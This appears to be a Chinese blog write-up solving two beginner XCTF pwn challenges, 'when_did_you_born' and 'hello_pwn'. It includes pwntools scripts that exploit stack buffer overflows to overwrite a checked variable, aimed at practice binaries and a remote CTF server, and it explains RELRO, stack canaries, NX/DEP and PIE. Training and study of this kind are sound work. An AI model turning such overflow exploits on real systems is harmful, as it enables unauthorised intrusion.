攻防世界-pwn-writeup

when_did_you_born-栈溢出

题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051&page=1

题目描述:只要知道你的年龄就能获得flag,但菜鸡发现无论如何输入都不正确,怎么办

题目附件: 附件1

分析:

下载文件后,通过kali的命令行:file 查看文件多少位:image通过查看发现是64位,linux系统,linux在pwn题目出现最多。

查看文件有什么保护:命令checksec --file=when_did_you_born :image,发现Canary found金丝雀保护(栈)和堆的保护

运行下测试,输入大量数据,发现疑似栈溢出漏洞

载入IDA分析,按两次空格,进入汇编界面,难分析,按F5进行伪代码显示image,发现只要V5溢出到V6,且让V6值为1926,即可继续执行

编写python代码:

  1 #栈溢出漏洞
  2 from pwn import *
  3 
  4 context(os='linux',arch="amd64",log_level="debug")  #代表pwn是linux程序,64位操作系统,调试模式是debug
  5 content=1
  6 def main():
  7     if content==1:
  8         zw=process("when_did_you_born")     #运行本地程序
  9     else:
 10         zw=remote("220.249.52.133",50253)   #运行网络程序
 11 
 12     payload=b'a'*(0x20-0x18)+p64(1926)      #构建payload攻击溢出脚本,发送一个比特流数据,所以开始是b';(0x20-0x18)代表数据大小是这么大;p64带代表64位字节流发送
 13 
 14     zw.recvuntil("What's Your Birth?
")    #收到返回是这个字符串则执行下一行代码
 15     zw.sendline("1900")                     #发送一条数据
 16 #   zw.sendlineafter("",)#执行到哪一条语句后发送
 17     zw.recvuntil ("What's Your Name?
")
 18     zw.sendline (payload)
 19 
 20     zw.interactive()                        #接收数据,把收到的数据发送回来
 21 
 22 main()      #运行main函数

执行,发现image,正确,更改conent为网络验证获得flag:image


hello_pwn-栈溢出

题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5052&page=1

题目描述:pwn!,segment fault!菜鸡陷入了深思(segment fault 段错误各种原因一 造成segment fault,产生core dump的可能原因1.内存访问越界)

题目附件:附件1

下载附件,使用命令检测image,发现linux的64位程序,且没有stack栈保护,只有NX堆保护,

资料:防护技术:

RELRO:在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域,尽量减少可写的存储区域可使安全系数提高。GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术Relocation Read Only, 重定向只读,实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。(参考RELRO技术细节

Stack: 栈溢出检查,用Canary金丝雀值是否变化来检测,Canary found表示开启。

金丝雀最早指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。这里是一种缓冲区溢出攻击缓解手段:启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux将cookie信息称为Canary。

NX: No Execute,栈不可执行,也就是windows上的DEP。

分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠向前兼容的修补来减少溢出带来的损害,DEP就是用来弥补计算机对数据和代码混淆这一天然缺陷的。

DEP的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。DEP的主要作用是阻止数据页(如默认的堆页、各种堆栈页以及内存池页)执行代码。硬件DEP需要CPU的支持,AMD和Intel都为此做了设计,AMD称之为No-Execute Page-Protection(NX),Intel称之为Execute Disable Bit(XD)

Linux称为 NX 与 DEP原理相同

PIE: position-independent executables, 位置无关的可执行文件,也就是常说的ASLR(Address space layout randomization) 地址随机化,程序每次启动基址都随机。

将程序导入IDA进行分析,发现image,双击栈查看image,和上题目一样,栈溢出即可

编写代码:

  1 #栈溢出漏洞
  2 from pwn import *
  3 
  4 context(os='linux',arch="amd64",log_level="debug")  #代表pwn是linux程序,64位操作系统,调试模式是debug
  5 content=0
  6 def main():
  7     if content==1:
  8         zw=process("hello_pwn")     #运行本地程序
  9     else:
 10         zw=remote("220.249.52.133",52836)   #运行网络程序
 11 
 12     payload=b'a'*(0x6c-0x68)+p64(1853186401)      #构建payload攻击溢出脚本,发送一个比特流数据,所以开始是b';(0x20-0x18)代表数据大小是这么大;p64带代表64位字节流发送
 13 
 14 #     zw.recvuntil("What's Your Birth?
")    #收到返回是这个字符串则执行下一行代码
 15 #     zw.sendline("1900")                     #发送一条数据
 16 #     zw.sendlineafter("",)#执行到哪一条语句后发送
 17     zw.recvuntil ("lets get helloworld for bof
")
 18     zw.sendline (payload)
 19 
 20     zw.interactive()                        #接收数据,把收到的数据发送回来
 21 
 22 main()      #运行main函数

执行py,获得flagimage

原文地址:https://www.cnblogs.com/zw7889/p/13603421.html